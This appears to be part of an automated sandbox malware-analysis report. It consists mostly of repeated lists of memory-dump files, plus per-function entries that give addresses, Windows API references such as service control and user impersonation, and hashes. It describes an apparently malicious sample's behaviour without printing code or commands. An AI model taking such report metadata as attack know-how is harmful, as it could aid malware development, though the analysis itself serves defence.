Associated: 00000003.00000002.2369338384.000000000039B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369357792.00000000003A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369377205.00000000003A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369398938.00000000003B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369419623.00000000003B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369439849.00000000003BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369479591.00000000003D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369500134.00000000003D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: b925a1ff4ccada144fa2175cab0eb0b2dfdd23e196dbfde942e1a8422c42ff19
Instruction ID: a8208f2f7dadd16fe8cd64b20b252d9c0959e58ef20d6a2c87778ec1d3036c4e
Opcode Fuzzy Hash: b925a1ff4ccada144fa2175cab0eb0b2dfdd23e196dbfde942e1a8422c42ff19
Instruction Fuzzy Hash: AB21D57150822D9FD762DF29C8D07BE7B99EB45320F30862BF989C7E41D27A0D109B59

Function 04880AA4 Relevance: 1.6, APIs: 1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3350a6fb9b4a118bd70a861e1f889f52e11d387d0c9a19794e25465a9232d1b
Instruction ID: 932bdca475210d99b73d411878a7fb6bf60b4c3d18dcae1d1ca58f0fd9007624
Opcode Fuzzy Hash: e3350a6fb9b4a118bd70a861e1f889f52e11d387d0c9a19794e25465a9232d1b
Instruction Fuzzy Hash: 96515670D002088FDB14DFA9C485B9EFBF1AF89304F15852DE81AAB391D778A949CB95

Function 00377811 Relevance: 1.6, APIs: 1, Instructions: 100
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00377811

Memory Dump Source

Source File: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369319532.000000000039A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369338384.000000000039B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369357792.00000000003A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369377205.00000000003A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369398938.00000000003B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369419623.00000000003B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369439849.00000000003BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369479591.00000000003D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369500134.00000000003D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 383a6f11b30c8bcc72bdc28256d7b0781d34ee1bed2b1e24fdf2d79d29aeaded
Instruction ID: 758d8144f07fd2186e250f5741a3119aeb540991d7bfa083c8c6ae6022beb77e
Opcode Fuzzy Hash: 383a6f11b30c8bcc72bdc28256d7b0781d34ee1bed2b1e24fdf2d79d29aeaded
Instruction Fuzzy Hash: EA317AB250C308AFE711AE29DCC576AF7E8EB18620F054A2DEBD483310E63598149B87

Function 00377952 Relevance: 1.6, APIs: 1, Instructions: 90
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00377952

Memory Dump Source

Source File: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369319532.000000000039A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369338384.000000000039B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369357792.00000000003A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369377205.00000000003A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369398938.00000000003B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369419623.00000000003B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369439849.00000000003BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369479591.00000000003D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369500134.00000000003D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6ea5555c0f59b3b9439b94881322f1aabd71409a8729825a5bdae5d0a8341293
Instruction ID: cb30aded7d97b40541370407e4f77821b9aefcadba31d844447a114d571af695
Opcode Fuzzy Hash: 6ea5555c0f59b3b9439b94881322f1aabd71409a8729825a5bdae5d0a8341293
Instruction Fuzzy Hash: E031AEF250C200EFD3166F19EC856BAFBE6EF94721F16482EE7C482650D73644409B9B

Function 04880D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04880DCD

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1d843a709678a132288075077573ff8577c8c2ac3a13f679cec4d80755a07338
Instruction ID: 0890f2b1df9a811f05775572202697f08f64af549c655bfb6feb3b10c46f61a2
Opcode Fuzzy Hash: 1d843a709678a132288075077573ff8577c8c2ac3a13f679cec4d80755a07338
Instruction Fuzzy Hash: EC2147B6C002089FCB50DF99D885ADEFBF4FF89310F15861AD908AB204D734A945CFA4

Function 04880D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04880DCD

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9c9cbc277597fd4b5e0a6ed75ae0fc536bd5a0420042f2ba015cd2d6301b181e
Instruction ID: 5e85b5c500cf7963913f8e7c17948247edd8cd340b4c5589d5dac7baf5fc0cdb
Opcode Fuzzy Hash: 9c9cbc277597fd4b5e0a6ed75ae0fc536bd5a0420042f2ba015cd2d6301b181e
Instruction Fuzzy Hash: 142124B6C012189FCB50DF99D884ADEFBF4FF89310F15861AD908AB204D734A944CFA5

Function 04881509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04881580

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 6ab2b13d6cc0f726875873c1db663670dec221a0736c7edc649b67f8dd1ec486
Instruction ID: dde6059fad63fa45df9def2eb6744cf429d9a3a0e2a690d9553daf914ededc8e
Opcode Fuzzy Hash: 6ab2b13d6cc0f726875873c1db663670dec221a0736c7edc649b67f8dd1ec486
Instruction Fuzzy Hash: 3D2103B19002499FDB10DF9AC488BDEFBF4EB48320F108529E559A3250D778AA45CFA5

Function 04881510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04881580

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 0b2236f876577de0ecbed57ae17fc1fce04edcb5aa9ac1b78c32ccfd331d4389
Instruction ID: 5616ff48e27378d97a794b9dcbd467739df14bb828677f544141d2de590e1d24
Opcode Fuzzy Hash: 0b2236f876577de0ecbed57ae17fc1fce04edcb5aa9ac1b78c32ccfd331d4389
Instruction Fuzzy Hash: 301114B1D002499FDB10DF9AC484BDEFBF4EB48320F108429E558A3250D778AA45CFA5

Function 04881301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04881367

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: d381107ab1246c03cdf27595f14cd8c9b1fcc99d44f5d895cbc765b3f22e1ebc
Instruction ID: e6ab38c1b6193807a98a362469411053a78ec41ce3aa9540740152dca22ff207
Opcode Fuzzy Hash: d381107ab1246c03cdf27595f14cd8c9b1fcc99d44f5d895cbc765b3f22e1ebc
Instruction Fuzzy Hash: 911116B1900249CFDB10DF9AC544BEEFBF4EF48320F148569D558A3650D778A544CFA5

Function 04881308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04881367

Memory Dump Source

Source File: 00000003.00000002.2371779858.0000000004880000.00000040.00000800.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4880000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 21ba20d1ddb7bed7452713a7ee65e0d64bd48f30551a385edf9637e9a4a33c52
Instruction ID: 13435e8623785ea2d22c8853e9ad6eec5b01a8f51cf9d3f40b1f0556e7a2819f
Opcode Fuzzy Hash: 21ba20d1ddb7bed7452713a7ee65e0d64bd48f30551a385edf9637e9a4a33c52
Instruction Fuzzy Hash: 2D1136B1800249CFDB10DF9AC448BEEFBF8EF48320F14842AD558A3650D778A544CFA5

Function 00379C90 Relevance: 1.5, APIs: 1, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,0000001E), ref: 00379CE2

Memory Dump Source

Source File: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369319532.000000000039A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369338384.000000000039B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369357792.00000000003A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369377205.00000000003A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369398938.00000000003B3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369419623.00000000003B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369439849.00000000003BD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369459688.00000000003C6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369479591.00000000003D1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369500134.00000000003D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369519188.00000000003D9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369538924.00000000003DB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369559521.00000000003E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369580528.00000000003EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369601797.00000000003F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369621250.00000000003F6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369640828.00000000003F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369660120.00000000003FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369678531.00000000003FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369699254.0000000000401000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369721958.0000000000416000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369741948.000000000041A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369760631.000000000041C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369778310.000000000041F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369796379.0000000000420000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369814887.0000000000428000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369835789.000000000043C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369853070.000000000043D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369873060.000000000044B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369891426.000000000044D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369919140.0000000000485000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369937763.0000000000487000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.0000000000488000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369955601.000000000048E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369992141.000000000049E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2370009699.00000000004A0000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1f0000_F7UO7T49UKQNSZTWA8QFF.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3c947ba7c02767d62e458890701503062d4bd2062ecc3294ecba9b5705b615fe
Instruction ID: 7960e1fe557dd42816e6c89951f79dc85aaa8a608bae989462baaefc4eb0c25d
Opcode Fuzzy Hash: 3c947ba7c02767d62e458890701503062d4bd2062ecc3294ecba9b5705b615fe
Instruction Fuzzy Hash: 9AF02D715483C7AEE7138E248D91BBE7BE8DFC6310F218169FD498B483D3A84C559321

Function 00379B3E Relevance: 1.5, APIs: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00379B58

Memory Dump Source

Source File: 00000003.00000002.2369191734.0000000000374000.00000040.00000001.01000000.00000006.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000003.00000002.2368966071.00000000001F0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2368990057.00000000001F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369010219.00000000001F6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369029282.00000000001FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369050764.0000000000206000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369148036.0000000000357000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369167657.000000000035A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369191734.000000000037E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369239838.0000000000396000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369261686.0000000000397000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369281147.0000000000398000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2369300958.0000000000399000.00000040.00000001.01000000.00000006.sdmpDownload File
